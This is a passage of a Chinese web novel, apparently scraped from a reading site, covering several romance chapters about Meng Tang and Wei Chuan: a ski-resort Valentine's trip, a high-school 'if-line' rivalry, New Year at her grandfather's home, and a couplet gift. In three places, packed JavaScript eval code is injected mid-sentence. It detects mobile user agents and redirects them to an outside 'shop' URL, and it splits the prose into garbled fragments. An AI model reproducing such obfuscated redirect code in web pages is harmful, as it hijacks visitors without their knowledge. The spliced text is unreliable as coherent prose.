他刚要提醒,孟棠温温柔柔地开口了:“看你。” 我靠…… 魏川的心脏快要**了。 她不看镜头,却看镜头后的他。 魏川抿着唇,认认真真给她拍了一组照片。 孟棠朝他伸手:“看看。” 魏川见手机递给她,孟棠指了指落地窗前:“按照你这个拍照格式,我也给你拍一组。” 情头啊? 魏川嘴上想说不拍,结果身体很诚实。 “你让我拍的。”他还特地补充了一句。 孟棠失笑:“是,我让你拍的,站好。” 魏川第一个动作也是歪着头,不过他看向了手机镜头。 孟棠发现,在心里笑了声,还在闹别扭,但距离哄好程度还差30%。 孟棠拍照的过程中发现,魏川几乎复刻了自己的拍照动作,也就是说,他的目光和心思都在她身上。 孟棠收起手机,走过去还给魏川。 魏川接过后,她却没走。 “干嘛?”魏川垂眸,看着堵在他跟前的孟棠差点破功。 “你打算什么时候回到以前的状态?”孟棠仰着脸,大眼睛忽闪忽闪,对魏川来说简直是一种邀请。 “我怎么了?”魏川依旧嘴硬,“我这不是挺正常的?” 孟棠点点头,说:“那座八仙过海要得急,我的活计是赶了些,这也是没有办法的事,结束了,我会好好休息。你如果一直打扰我,反而会降低我的效率。” 既然接了人家的活计,就要在规定时间内完成。 老爷子见他俩闹别扭,还剩下一点细节,被他接了手。 “知道。”孟棠都坦诚了,魏川也忍不住了,表情还是有点委屈,“但你腰疼得直不起来,我看了难受,对我来说,什么都比不上你。” 孟棠抬手扶住他的腰,整个人依偎进他的怀里,小声道:“我知道,对不起,让你担心了。” 魏川一把搂住她,狠狠勒了下:“就知道折磨我。” “谁折磨你了。”孟棠心虚地**了一句。 “我自愿的。”魏川拿出手机,一手捏住她的脸,一手打开相机,“笑一个发朋友圈,给老爷子报个平安。” 孟棠不太喜欢分享日常,但眼下在哄人,也就随他去了。 魏川将各大平台都营业了一遍,趁他看评论的时候,孟棠去衣帽间换了衣服。 刚回到卧室,看到魏川捏了捏床上的玩偶。 “是什么?”孟棠问。 魏川将雪人玩偶拿起来,说:“这个,可爱吗?” 胖乎乎的,孟棠点了点头:“可爱,这个是不是可以带走?” 魏川“嗯”了声:“应该可以,你要是喜欢,我买也得买走。” 孟棠半转身体,向后指了指:“卫生间好大,浴缸旁边还有观景台,你要泡澡去去乏吗?” 魏川摇摇头:“明晚泡吧。” 孟棠疑惑:“明晚?不是今晚?” “你不知道明天是什么日子?”魏川又开始幽远了。 孟棠表情已将,死脑子,快想。 她在家,和老爷子习惯性看老黄历,魏川一般都看阳历,阳历的话……孟棠陡然抬眸:“情人节啊?” “嗯。”魏川哼了声,“不错,还记得起来。” “那……我们中国人都过七夕的。”孟棠找了个完美的借口。 魏川说:“我两个都乐意过,不可以?” “可以可以。”孟棠指了下肚皮,“有点饿了,去吃饭吗?” “你要去餐厅还是叫到房间吃。” “去餐厅吧。” “走。” 魏川当即牵起她的手:“尝尝这里的特色菜。” 孟棠是第一次来这边,对于特色菜,自然是想尝试的。 餐厅就在七楼,位置不高也不低,魏川带孟棠去了个靠窗的位置,视野很好。 孟棠的视线被餐桌中间的雪莲花吸引,精致小巧,花瓣薄如蝉翼,肌理可见,颜色纯净,清冷的气质和雪山如出一辙。 服务员上前,轻声道:“两位晚上好,今日为您准备的是专属双人本地特色套餐,现在给您上下餐?” 魏川点了点头:“上吧。” 服务员半转身体,从后面的传菜员手中接过第一道前菜——雪山手作奶皮子卷。 它是装在圆形骨瓷盘里的,盘底铺着一层淡淡的蜂蜜酱,缀着几粒葡萄干与松仁。 紧接着后面几道菜也一一端上了桌。 羊排塔吉锅、昆仑雪菊炖羊肚菌、古法烤包子配松仁酸奶酱、雪山时蔬拼盘和一道具有当地特色的甜品和奶茶。 视觉上是很享受的,就是不知道吃到嘴里什么样。 孟棠和魏川对视了眼,当即开动,羊排裹着蜂蜜的清甜,松仁酸奶酱口感丰富,雪山拼盘爽口解腻…… 吃美了,孟棠下意识点头。 魏川看得好笑:“有这么好吃吗?” 孟棠说:“我觉得还不错,这道雪莲花慕斯配蜂蜜脆底你可以尝尝,我形容不出来,反正很好吃。” 魏川指了指银质茶壶:“我倒是觉得这奶茶不错,不甜也不腻。” “我尝尝。” 魏川宠溺地看着她,等着她的下文。 结果孟棠一口接一口,根本停不下来。 今天坐飞机很累,吃完晚餐,两人回了酒店休息,魏川还有心思亲密一番,结果被孟棠拒绝了。 看着他如遭电击的模样,孟棠只好实话实说:“明晚再说。” 魏川这才笑了,她肯定是怕连续两晚遭不住。 洗完澡,魏川满怀期待地睡了过去。 度假就得随心所欲,翌日一早,两人十点半才醒,磨磨蹭蹭起了床,都快十一点了。 刷过牙,魏川将孟棠堵在洗手台前亲了一通,半晌才松开,抵着她亲昵地调情:“老婆,早啊。” “都中午了。”孟棠看似平静,实则脸都要烧红了。 饥肠辘辘,两人去餐厅填饱了肚子。 “今天滑雪去吗?”孟棠终于有力气说话了。 魏川说:“刚吃过就运动不太好,要不咱们现在酒店里逛一逛,看看有什么娱乐项目?” “好。”孟棠起身,“那下午去滑雪?夜场应该也可以吧?” “白天和晚上都可以,咱们是私人 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“厉害。”魏川竖起大拇指,“还有其他的也把它们抓上来。” 孟棠成就感爆棚,开始抓剩余的玩偶。 半小时又抓了三个,魏川将她抓的东西收好,往前指了指:“再去看看别的。” 第二个机器里依旧是玩偶,孟棠没了兴趣,第三个机器是大牌口红,她依旧没什么兴趣。 直至走到第六个机器前,她停了下来:“诶?这个机器是神秘礼物?” 魏川看了眼机器上的卡片,说:“这不是写了嘛,情人节神秘礼盒。” 孟棠看向他:“抓这个吧,挺有神秘感的,你把我急匆匆拉到机场飞了过来,我都没来得及给你准备情人节礼物。” 魏川挑了挑眉:“可以。” 孟棠当即投币抓了起来,礼盒是一个一个摞起来的,还按照大小顺序排列了,肉眼看去,没有重复的。 抓到就是赚到,孟棠严阵以待,岂料第一个就得手了。 她懵了下:“抓到了?” 魏川在她耳边轻笑:“哎呀,你运气真好。” 孟棠也这样觉得,她迫不及待拆了礼盒,看到品牌logo时愣住了,看样子像饰品。 “这个品牌最便宜的一条手链都得三四万,”孟棠抬眸,“他们不会亏本吗?” 魏川耸耸肩,表示不知道:“你先拆开看一下。” 孟棠拆开后,发现是一条项链,和魏川在一起后,她知道了不少品牌。 魏思沅如数家珍,总是给她送。 当看到还真是一条近五万的手链时,孟棠开始怀疑人生。 摞起来的一共四个盒子,她不信邪地又去抓了一次,第二个出来的是配套的耳钉。 这家老板疯了吧?孟棠看着魏川:“我今天是幸运儿?” 魏川忍着笑:“再去看看第三个。” “看盒子体积应该是项链。”孟棠说,“这应该是成套的珠宝,老板不是疯了就是傻了。” 魏川扬起下巴:“抓出来看看。” 事实证明,孟棠猜测是正确的。 “魏川。”孟棠开始慌了,“你去问问前台是不是放错了礼品。” 魏川忍不住了,笑道:“你再把最后一个夹出来。” 看着他的笑,孟棠灵光一闪:“别告诉我是你放的?” 魏川没有回答她,只是让她去抓最后一个礼盒。 是魏川准备的情人节礼盒,孟棠更加确信了自己的想法。 爪子很紧,一次就能抓上来。 最后一个礼盒出来,孟棠小心翼翼地打开,是一件黄金铺子的放大镜。 手柄纯黄金打造,镶嵌着珠宝。 魏川凑近,小声问:“喜欢吗?” 孟棠缓缓释放感动的情绪,问他:“你怎么知道我工坊里的放大镜坏了?” 雕刻细节时,必须要用上放大镜,孟棠一直没空换,没想到魏川将一切都看在眼里。 孟棠眼眶发热,这人真是…… “我靠,你别是要哭。”魏川赶紧将她搂进怀中,“先回房间。” 孟棠抱着她的礼物回了房间,对黄金手柄的放大镜爱不释手。 好多年了,魏川不管送什么礼物,都能送到她的心坎上。 “把东西放下,我们去滑雪吧,我准备好了装备,都是新的,不用——唔——” 魏川的话戛然而止,孟棠踮脚吻住了他。 魏川激动不已,回吻回去。 滑雪没成,两人在酒店的大床上厮混到半夜…… 第387章 【if线 31】试探 许昕言和安琪对视了眼,陡然升起一抹危机感。 她转头问跟魏川联系最多的邵一鸣:“这个女生是谁啊?你认识不?” “他同学,也是同桌。”邵一鸣说。 许昕言跺了下脚:“魏川对她怎么上赶着?” 邵一鸣耸肩:“我怎么知道。” 许昕言哼道:“我过去看看。” “喂,别去。”邵一鸣拦都没拦住,赶紧追了过去。 孟棠看到魏川就这么丢下一群人过来打招呼,下意识往后退了一步,被梁菲菲一把抵住了腰。 恨铁不成钢似的,梁菲菲几乎咬下切齿,在她耳边小声道:“躲什么?” 孟棠回道:“人太多了。” “你见不得人?”梁菲菲力挺孟棠。 孟棠:“……” 魏川向后指了指:“我们待会儿去吃饭,一起吗?” “不——” “魏川。” 孟棠的话被打断,孟棠抬眸,和许昕言对上了视线。 “你同学吗?不介绍一下?”许昕言看到孟棠真容,危机感更深。 没想到雁清这个小地方还能养出孟棠这种漂亮又有气质的。 打扮一下,只怕要惊艳众人。 而且男生就吃这种清纯白月光,魏川别是动了什么心思。 许昕言眸光微动,她倒是要会会这个人。 魏川转身,给她介绍:“这是孟棠,我同桌,她旁边的叫梁菲菲。” “你好。”许昕言主动打了招呼,“我叫许昕言,是魏川在z中的同学,我俩也是一起长大的朋友。” 青梅抓马,孟棠点了点头:“你好。” “我们要去吃饭。”许昕言说,“既然你是魏川的同学,一起呗。” “你们去吧,不打扰了。”孟棠说。 魏川诧异地看向许昕言,她要做什么? “去呗。”许昕言给了孟棠一个求求的眼神,“你跟魏川是同桌吧,我有点事想问你,拜托。” 后面这句话,她靠近孟棠,说得很小声。 魏川又不可能挤到她俩中间,什么也没听见。 “许昕言,”魏川蹙眉,试探道:“你跟孟棠说我坏话呢?” “谁说你坏话。”许昕言说,“你同学还没吃饭,我邀请人家一起怎么了,我看你对人家挺热情的啊。” 魏川看向孟棠:“我以前的队友来找我,你见过他们,不过我不勉强你,你愿意去就去,不愿意就算。” 孟棠坚持己见:“我还是不去了。” 许昕言歪过头,满脸疑惑,她刚才都白说了,这个孟棠还挺有个性。 孟棠对许昕言说:“你真的有事要问的话,可以从魏川那里要我的联系方式。” 说完,孟棠就拉着梁菲菲离开了。 梁菲菲疑惑孟棠为什么不去,她一向有话就问,孟棠当即回答了她: “我跟她又不熟,甚至不认识,你觉得她留下我,是要问谁的事?” “魏川啊。”梁菲菲说。 孟棠摊手:“那不就得了,她真有事可以找魏川,没事的话,也没必要吧。” 有点道理。 梁菲菲凑近,嘿嘿一笑:“她是为了试探你吧?” “试探什么?”孟棠装傻。 “试探你俩的关系呗。”梁菲菲八卦道,“她应该是喜欢魏川的吧,其实能看得出来,把你当情敌了。” 孟棠:“……别胡说。” “我可没胡说。”梁菲菲抵了抵她,“诶,你觉得魏川怎么样啊?” “挺好的。”孟棠说。 “这什么笼统的回答,好在哪儿啊?”梁菲菲不死心。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199486|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>孟棠知道不回答还得被她缠,伸出手指头举例:“长得好,打球好,学习好。” “你这一副淡淡的死感是怎么回事?”梁菲菲促狭,“不会是吃醋了吧?” “谁吃醋?”孟棠激动地反驳,“你在说什么呢?我吃什么醋?我跟魏川是八竿子打不到一处的人,别胡说了。” 梁菲菲弱弱地问:“为什么啊?怎么就八竿子打不到一处了?你俩平时相处得不是很好吗?” “以朋友的身份相处确实挺好的。”孟棠自己都得承认这一点。 梁菲菲作为一个旁观者,都感觉到他俩明显不对劲了。 孟棠隐隐预约觉得有些危险。 可回忆以往的事,她和魏川的交往并没用越界,甚至好几次魏川去她家里也是正大光明,方姐和老爷子也在。 他俩是同桌,接触是避免不了的。 可回到家里,孟棠明显心不在焉。 时间还早,她直接去了后院的工坊,刻刀刚拿起就伤了食指。 孟棠一声不吭,熟练地清洗、消毒和包扎。 方姐看到她的伤口,天都塌了:“你又把自己弄伤了。” “没事,我已经消过毒了,就是擦破了一块皮。”孟棠安慰她。 “回来就心不在焉的,怪我,没拦着你去后院。” “真没事。”孟棠有些心虚。 “这几天好好养伤口,别拿刻刀了。”方姐叮嘱,“你床头有药膏,别忘了涂抹。” “知道了。” 第二日,孟棠没再去学校。 刻刀拿不了,画笔也拿不了。 而且再有三天,学校也得关门了,在校补课的都得离开学校,回去过年。 之后,孟棠再没看到魏川,直至除夕前两天,没有提前说一声,他直接过来了。 第388章 特别番外 新年 “小棠,炸货和包子出锅了,来尝尝。” 孟棠从摇椅上起身,接过方姐给的拼盘。 拼盘里都是方姐自己忙的过年的吃食,有雪菜笋丁包、豆沙包、肉丸、炸响铃和灯盏糕。 忙了一整天,孟棠要帮忙,被她轰出了厨房。 方姐转头给孟遇春也拿了一盘子。 祖孙俩面对面,先拿的包子,烫呼呼地吃完了。 一咸一甜两个包子下肚,孟遇春下巴微抬:“那正厅里都是魏家送来的年礼,我数不过来,待会儿你和方姐整理好。” “好。”孟棠被老爷子为难的表情逗笑。 “他今年不来了?”孟遇春问。 孟棠也有些拿不准,说:“明天就是除夕,来的可能性不大了吧?” 这是他俩订婚后的第一个春节,本来说好在雁清过年的,但魏川很忙。 当初他上门提亲,两家只是暂定且默认了他俩的事。 直至魏川稍稍有点空了,才把订婚宴给摆了,所以说是订婚后的第一个春节也没错。 虽然魏川去年春酒就是在雁清过的。 眼见时间不够了,魏川只能先让司机把年礼送了过来。 “我们这里的风俗是订婚后的第一个春节要在女方家里过。”孟遇春稍稍有点不满意了,“这小子平时挺稳重的,关键时候掉链子。” 孟棠也没急着给魏川说话,不紧不慢地笑了声:“那咱俩再等等?说不定他一会儿就过来了。” 孟遇春哼了声:“最好能赶得上。” 方姐从厨房出来,在石桌边坐下,手里是吃掉一半的灯盏糕,她问孟棠: “怎么样?好吃吗?” 孟棠点点头:“肉丸子好吃,魏川喜欢,留一点在厨房吧。” 方姐瞬间了然:“知道了。” 方姐做的这些足够三个人填饱肚子,晚饭都省了。 孟棠坐着没动,不自觉就吃多了,两盏茶水下肚,她起身,说:“爷爷,方姐,我出去转转,消消食。” 孟遇春摆了摆手,知道她去等魏川。 孟棠的家乡,没有大城市的繁华,也不在偏僻的农村,过年过节还是有些年味的。 她独自走到附近的一个小菜场,长长一条街,菜摊贩子回去了,剩下的都是卖春联挂件的。 孟棠没往里走,就在街头那家看了看,老板很热情,问她要买什么。 闲着也是闲着,孟棠看了看,挑了两个醒狮的铃铛挂件,放案桌上或者门上都可以。 付了钱,孟棠用指尖拨动铃铛,一路玩到家门口。 时间还早,孟棠一个转身在台阶上坐下。 她拿出手机看了眼,才六点半。 魏川要是过来的话,12点之前一定会到。 临近过年,这几天竟然升温了,外面不算冷,孟棠屈起双腿,捧着脸看着远处发呆。 坐到屁股都麻了,手机响了起来。 再一看,她竟然坐了一个多小时,看到来电显示的时候,孟棠的心跳漏了一拍。 是魏川的来电。 孟棠下意识坐直身体,清了清嗓子,接了起来:“喂。” “吃过饭了没?”魏川问。 “吃过了。”孟棠回,“方姐做了好多好吃的,我还给你留了。” “做了什么好吃的?”魏川的声音格外温柔。 “包子啊,做了两个馅儿的,我喜欢豆沙的,也有你喜欢的雪菜笋丁的,还有灯盏糕和肉丸子……” 孟棠一一细数。 “有藕丸子吗?”魏川问。 “有啊,方姐做了两个口味的,一个是藕丸,一个是肉丸,你又不吃藕的,你关心这个干什么?”孟棠说,“反正给你留的是肉丸。” “你吃啊,我关心关心你不行吗?两个多月没见了吧?” 孟棠沉默了,想问他过不过来,又怕他为难。 “怎么不说话了?” 孟棠抿了抿唇:“你吃过了吗?” “还没吃。”魏川故意要孟棠心疼似的,“我也想吃方姐做的那些……家里还有吗?” 最后一句话近在咫尺,手机里也传来了回声,孟棠不可置信地抬眸,魏川笑意盈盈地看着她,又问了遍:“家里还有吃的吗?” 孟棠愣了几秒,起身冲进他怀里。 魏川故意往后退了两步,调笑道:“知道我要来,特地等在门口?” 孟棠刚要从他怀中起身,又被他按住了:“抱一会儿。” “你不是饿了吗?”孟棠抱住他的腰,身体很诚实。 “可以忍一忍。”魏川抱紧她,“抱你不能忍,我很想你。” 孟棠自然也是想他的,白天做活计没空想,有点闲暇就会想起来。 “咳咳……”孟遇春重重咳了声。 他见孟棠还没回,出来找人,刚出大门口就看到两人抱在一起的情景。 魏川和孟棠被吓了一跳,连忙分开来。 孟棠有点心虚的时候就喜欢把手背在后面,魏川顺势握住,对孟遇春笑了笑:“爷爷,你怎么也不吱声啊?” 还没吱声?孟遇春清了清嗓子:“嗓子都快咳废了,赶紧进来,在大门口搂搂抱抱像什么样子。” “我看你也不像老古董啊。”魏川牵着孟棠上前,“怎么还管年轻人的事呢?” “臭小子。”孟遇春恨不得揍他一顿,“赶紧进去吃饭吧。” “方姐给我留了饭啊。”魏川略有得意,“你们怎么都知道我要来似的,一点都没有惊喜感。” “少整些有的没的,小心惊喜变惊吓。”孟遇春看到人,总算舒服了点,“行了,我休息去了,你俩也早点休息。” 魏川拉着孟棠进了厨房,厨房很大,旁边就有一张木质小餐桌。 方姐将还温热的饭菜给他端上去:“吃完就放这里,我收拾。” 魏川点了点头,拿起筷子吃了起来。 孟棠在一旁静静陪着,即便不说话,心里也是满足的。 两月没见,感觉魏川瘦了点。 不过方姐两天一喂,他的肉就会长回来的。 方姐做的饭一向符合魏川的胃口,他吃到话都忘了说。 吃完饭,他俩还是把桌上收拾了,主要脸皮没那么厚。 魏川赶了一天的路,吃完饭就去洗了澡,两人都收拾妥当已经十一点了。 魏川在床上不老实,抱着孟棠开始哼唧,孟棠无奈地制止他:“明早要早起,还有……你不累吗?” “不累。”魏川亲了下她的耳朵,在她颈间蹭来蹭去,孟棠痒得受不了,一边笑一边躲。 “魏川,真不行,等正月去z市再说。” 在家里始终不太方便,他俩晚上干了什么,第二天谁都知道。 倒不是房子不隔音,其实他们的房间距离老爷子和方姐的都很远,而是孟棠自己心虚,一眼就能被看穿。 “好好好。”魏川心软了,“那抱着总行了吧?” 他已经退一步了,如果孟棠拒绝,他将得寸进尺。 “可以。” 魏川哼了声,还有点良心,但是不多。 许久没见,魏川睡不着,他搂着孟棠,轻声问:“明天要干什么?” 孟棠回:“吃完早餐要写对联,今年这项任务交给我了,然后把窗花剪一下,顺道把家里的所有角落都贴上春联、福字和窗花。” “方姐要忙午饭,爷爷年纪大了,只能我俩做了,等吃完饭,再把灯笼挂起来。” 中午其实是简单吃一点,吃过饭后忙的才是年夜饭的正餐。 孟棠本来就会毛笔字,写出来又快又好,魏川也不是第一回见识了。 不过今年,他对剪窗花有点兴趣。 孟棠睁开眼睛的时候,魏川还在睡,他的手搁在她的腰,牢牢地贴着,很重。 孟棠想让他再多睡会儿,小心翼翼地拿开他的手臂,坐了起来。 可这点小动作还是弄醒了魏川,他嘟嘟囔囔拦住她:“再睡会儿。” “院子里有动静了,也不能让方姐一个人忙。”孟棠笑了笑,“我去帮帮她,你睡吧,吃饭的时候叫你。” 孟棠起身越过他,下了床。 魏川睡不下去了,紧随其后起了床。 孟遇春也起了,正蹲在墙根晒太阳。 老头坐在那儿,脸上挂着笑,一副岁月静好的模样。 方姐麻利地弄好了早餐,一家人吃完后各做各的事。 今年天气实在好,院里无风,孟棠将红纸放在箩筐中端到外面的石桌上,自己在书房将春联写了, 魏川总在一旁捣乱,快到十点,孟棠才写完。 刚放下毛笔,孟棠就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17207962|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉着魏川出了房门:“走,教你剪窗花。” 两人在石桌前坐下,孟棠拿出一张红纸,对折两次,说:“剪几个不同的福吧,再来几张年年有余就差不多了。” 魏川也拿过纸和剪刀,按照孟棠的样子剪了起来。 “你慢点儿,刚才那一步我还没看到。” 孟棠停下等他,等他剪完后动作慢了不少。 “我待会儿发群里,给他们看看我剪的年年有余。” 孟棠失笑,等待会儿剪完再看吧,说不定就没有分享的心思了。 结果还真让孟棠猜对了,明明是一样的剪法步骤,魏川剪了一个四不像。 孟棠抿唇忍笑,将自己的窗花递给他:“先去把这些贴了吧。” 魏川疑惑地起身:“都贴哪儿?” 孟棠说:“窗户。” 魏川觉得自己傻了吧唧的,窗花窗花,当然贴在窗户上。 家里房间多,窗户也多,两人贴窗花和春联就花费了整整一个小时的时间。 中午饭菜不如晚上丰盛,中午就随意吉利一点就行。 大家其实不太饿,因为一个上午,所有人的嘴巴也没停过。 今天的午饭吃得有些迟,吃完后,孟棠和魏川帮着方姐一道收拾。 年夜饭连着冷盘要做十道菜,孟棠和魏川还是可以帮着洗洗菜,剥剥蒜的。 方姐也没拒绝他们的好意,说说笑笑忙了一个下午。 “好了,剩下的我来。”魏川将孟棠的手从水盆中捞出,“等一下,我拿毛巾给你擦干。” 方姐递过来一张厨房的干纸:“用这个吧,用完不要扔,可以擦桌子。” 魏川接过,给孟棠擦干了手,说:“去抹点护手霜吧,这里的菜洗得差不多了,我忙完给你拿点吃的。” 孟棠起身回了屋,涂抹完护手霜后在院中的躺椅上坐下。 她将毯子盖在身上,舒服地叹了声气,晒晒太阳真不错。 魏川很快忙好,拎了小炉子过来,将龙眼花生和橘子一股脑扔到烧烤网上。 孟棠起身,伸手靠近。 “冷吗?”魏川将她的手拿过去捂住,“给你暖暖。” 孟棠下巴微抬:“给我倒杯茶。” 魏川给她倒了杯茶,慢悠悠给她剥了瓜子和花生。 方姐在对面厨房笑眯眯地看着,她就没见过比魏川还好的对象,他们小棠也算是苦尽甘来了。 躺椅很大,魏川得寸进尺地挤开孟棠,自己躺了下去。 但这样一来,空间骤减,孟棠只能侧着身体。 魏川笑了声,给了她剥起了橘子,一瓣一瓣喂给她。 “日子要是这么一直悠闲就好了。”魏川擦了下手,“订婚后一直异地,这日子什么时候是个头。” “别太夸张。”孟棠说,“真悠闲了,你又觉得没劲了。” 他俩其实都是闲不下来的性格,各自有事忙也挺好的。 总不能一直腻在一起,保持点适当的距离还有新鲜感。 不过这话孟棠可不敢说出口,魏川会说他一直都有新鲜感,再瞄她一眼,会说:“原来有些人已经没有新鲜感了啊,这才几年啊。” 想着想着,孟棠突然笑了声。 “笑什么?”魏川把玩着她的手,转眸问了句。 “没什么,开心。”孟棠推了下他,“起来,挤得有点难受了。” 魏川起身,说:“我去把烟花鞭炮拿出来摆上,到时候天黑就放。” 孟棠点了点头。 年夜饭迟一点没关系,大家也不饿。 天一黑,魏川带着孟棠先行玩了一会儿烟火,不少小孩聚堆在门口看。 谁让他家放的最多也最好看。 方姐给小孩们拿了吃的,笑盈盈地对孟棠和魏川说:“你俩别玩了,洗洗手吃饭了。” “好嘞。”魏川应了声,抓着孟棠的手去了水池边。 老爷子将电视打开充当背景音。 孟棠和魏川在水池边洗手,一边洗一边打闹,毕竟天冷,魏川没敢朝她脸上甩,但孟棠却甩了他一脸。 “好哇,你给我站住。” 孟棠洗完转身就跑,魏川将水倒了扭头就追,在餐厅门口将人逮了个正着。 孟棠赶紧眼神求饶,魏川哼了声,等回到z市,看他怎么收拾她。 第389章 【if线 32】春联 孟棠还以为他回去了,乍然看到魏川还有些莫名其妙。 “你还没回去?” 魏川都不知道自己为什么会跑来这里,强撑了一会儿,好不容易找了个借口:“好歹同桌一场,我来道别。” “什么意思?”孟棠一愣,“你要回z市?” “回去过年。”魏川点了点头。 “不回来了?”孟棠又问了句。 “呃……”魏川一怔,“回啊。” “……那你一副走了就不回的样子?” “我回来!”魏川一副“你误会了”的模样,又强调了一遍。 孟棠不知道说什么,“哦”了声。 “你就哦一声?”魏川不知道想得到什么。 “那不然呢?”孟棠有些疑惑,“我还应该说什么?” 魏川自己都不知道想让她说什么,其实他自己也觉得自己有点莫名其妙。 他垂头看了眼时间,司机已经等了十来分钟了。 “你还有话跟我说吗?”孟棠见他踌躇,径自问了句。 魏川顺势问道:“你刚才在干什么?” “写春联。”孟棠老实回答。 “你会毛笔字?”魏川其实也没多少惊讶,毕竟孟棠 “能给我一副吗?”魏川问,“我回家贴我门口。” 孟棠以前就给同学写过,梁菲菲前两天还跟她说了这事,她半刻没犹豫,说:“你在这里等我一下。” 不到五分钟,孟棠抱着包装筒出来,她将东西塞到魏川怀中:“正好写了一副,本来给梁菲菲的,先给你,我待会儿再写一副给她送去。” 魏川下意识掏出手机:“多少钱,我转你。” 孟棠面无表情地看着他。 魏川尬笑:“知道了知道了,那我走了?” 孟棠这才缓和了神情,朝他挥挥手:“拜拜。” “再见。”魏川纠正她,“开学再见。” “开学见。”孟棠笑了笑。 魏川这才转头走了,回到家的时候已经是下午。 全家在等他一个人,楚茵看到儿子,差点没落泪。 “你瘦了,也黑了。” 魏川自己也不在意,说:“有饭么?我饿了。” “有,”魏思嘉指了指餐厅,“给你留着呢。” 魏川将包卸下来,楚茵帮忙拿了他其他的东西,其中就包括春联筒。 包装筒倒不是寻常的红色,颜色素净,花纹淡雅,看着不像是魏川的东西,楚茵多问了一嘴:“小川,这是什么?” 魏川回眸:“春联。” “啊?”楚茵有些惊讶,“春联?你自己买的?” 不是她瞧不起她儿子,他知道这东西在哪儿买吗?虽说超市里有得卖,但他可从不会关心家里这些小事。 甚至,他的房屋不可以贴这些破坏美感。 “我同学写给我的。”魏川的语气略微有些得意,“班里其他人可没有。” 他加了个限定词,反正梁菲菲也不是他们班的。 “你还有这么有才的同学?”楚茵来了点兴趣,征求他的同意,“审美也不错,能看看吗?” “我还没看呢。”魏川有些不乐意。 楚茵和魏立峰对视一眼,心想这儿子真是白养了。 楚茵充分尊重孩子的意愿,魏川不让看,她说什么也不会看。 等他吃完饭,她又催促了遍:“现在可以看了吧?” “您还没走啊。”魏川接过春联,“行,看就看呗。” 孟棠既然敢送,自然对自己有十足的信心。 魏川拆开包装筒,说:“这个不要扔,我要收起来的。” 楚茵瞥了眼他,这也太珍重了吧?连个包装盒都舍不得扔? 他不对劲,太不对劲了! 楚茵抵了抵一旁的魏立峰,用眼神询问他。 魏立峰一脸懵,他摇了摇头。 楚茵嫌弃地“啧”了声。 魏立峰拍了拍她的手,示意她看春联。 魏川亲手拉开了绑带,魏思嘉帮他拉着,魏川缓缓展开。 “五夜春风催腊去,一窗明月送春来。”魏立峰下意识地读了出来,“横批春回大地,写得好啊。” 魏川笑了声:“写的确实好,不随大流。” “字也不错。”魏立峰自己吧也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214566|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练毛笔字,“横平竖直里藏着静气,一笔一划透着风骨灵韵,看着向女生写的,但师承名家,功底很足,每一笔都收得住,放得开。” 楚茵也点了点头:“我是外行,但这字看着真的舒服,单单从字面上看的话,应该是个学识不错的人,你这同学可以啊,没想到雁清这个小地方还卧虎藏龙呢。” 魏川哼笑一声,将春联收了起来,说:“这人你还见过呢。” 楚茵一怔:“不会是你那个同桌吧?” “就是她,叫孟棠,孟子的孟,海棠的棠。”魏川看向魏立峰,“爸,你说她师承名家,那你可错了,她这些字应该是她爷爷教的。” 魏立峰更惊讶了:“她爷爷是干什么的?” “木雕大师。”魏川将自己知道的一五一十都说了出来。 “怪不得。”魏立峰恍然大悟。 楚茵听得心急:“怪不得什么?” 魏立峰说:“木雕大师深耕传统文化,因为传统文化是题材根本。” 楚茵:“具体都学什么?” “什么都学啊。”魏川说,“木雕不是讲究什么气韵比例,线条结构嘛,这是美术体系范畴啊,孟棠就是学美术的。” “不过她的美术和别人又不太一样了,她是传统路子,要说学什么,几乎什么都学。” “古典文学、历史典故、戏曲曲艺、传统美术,包括什么书法、国画等等,除了这些还学儒释道思想,文人审美也是必要的……” 真要说起来,三天三夜也说不完。 楚茵略有些呆愣:“这得学多久?” “耳濡目染,人家出生就是这样的环境。”魏川说,“她爷爷可不是什么普通老头,放在武侠小说里,是扫地僧的存在,不,比扫地僧还厉害的那种。” 楚茵失笑:“别夸张了你。” “谁夸张了,句句属实。”魏川拿了春联起身,“我去贴春联。” 魏思嘉说:“明天才是除夕。” “我现在贴也是一样。” 楚茵看看魏思嘉,又看看魏立峰,语出惊人:“他不会谈恋爱了吧?” 第390章 【if线 33】好感 客厅静默了一瞬,魏立峰说:“不能吧?” “你看你,语气都不确定。”楚茵指着丈夫,“你是不是也这样觉得?觉得他有点不对劲?” “不至于啊。”魏思嘉说,“按照我对小川的了解,他应该就是好感。” 楚茵去过雁清,回来之后将魏川的情况告诉给了魏思嘉,她自然也知道魏川的同桌是个女生。 